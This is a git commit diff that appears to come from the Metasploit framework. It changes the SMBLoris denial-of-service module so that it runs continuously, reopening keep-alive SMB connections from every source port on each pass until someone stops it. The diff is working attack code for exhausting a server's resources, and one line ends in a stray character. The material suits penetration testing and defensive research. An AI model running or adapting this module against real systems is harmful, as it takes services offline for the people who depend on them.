make SMBLoris run continuously as requested

as per ZeroSum's request the module now runs
continuously, refreshing the connections on every pass
until manually killed
bug/bundler_fix
David Maloney 2017-08-08 10:16:16 -05:00
parent 289f03241b
commit 67e86da50b
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
1 changed files with 25 additions and 18 deletions

View File

@ -29,7 +29,8 @@ class MetasploitModule < Msf::Auxiliary
and Zach Harding.
DISCALIMER: This module opens a lot of simultaneous connections. Please check
your system's ULIMIT to make sure it can handle it.
your system's ULIMIT to make sure it can handle it. This module will also run
continuously until stopped.
},
'Author' =>
[
@ -55,7 +56,8 @@ class MetasploitModule < Msf::Auxiliary
linger = Socket::Option.linger(true, 60)
while true do
sockets = {}
(1025..65535).each do |src_port|
print_status "Sending packet from Source Port: #{src_port}"
opts = {
@ -63,6 +65,10 @@ class MetasploitModule < Msf::Auxiliary
'ConnectTimeout' => 360
}
if sockets[src_port]
disconnect(sockets[src_port])
end
begin
nsock = connect(false, opts)
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
@ -70,12 +76,13 @@ class MetasploitModule < Msf::Auxiliary
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
nsock.setsockopt(linger)
nsock.write(header.to_binary_s)
sockets[src_port] = nsock g
rescue ::Exception => e
print_error "Exception sending packet: #{e.message}"
end
end
print_status "Sleeping for 30 seconds..."
select(nil, nil, nil, 30)
end
end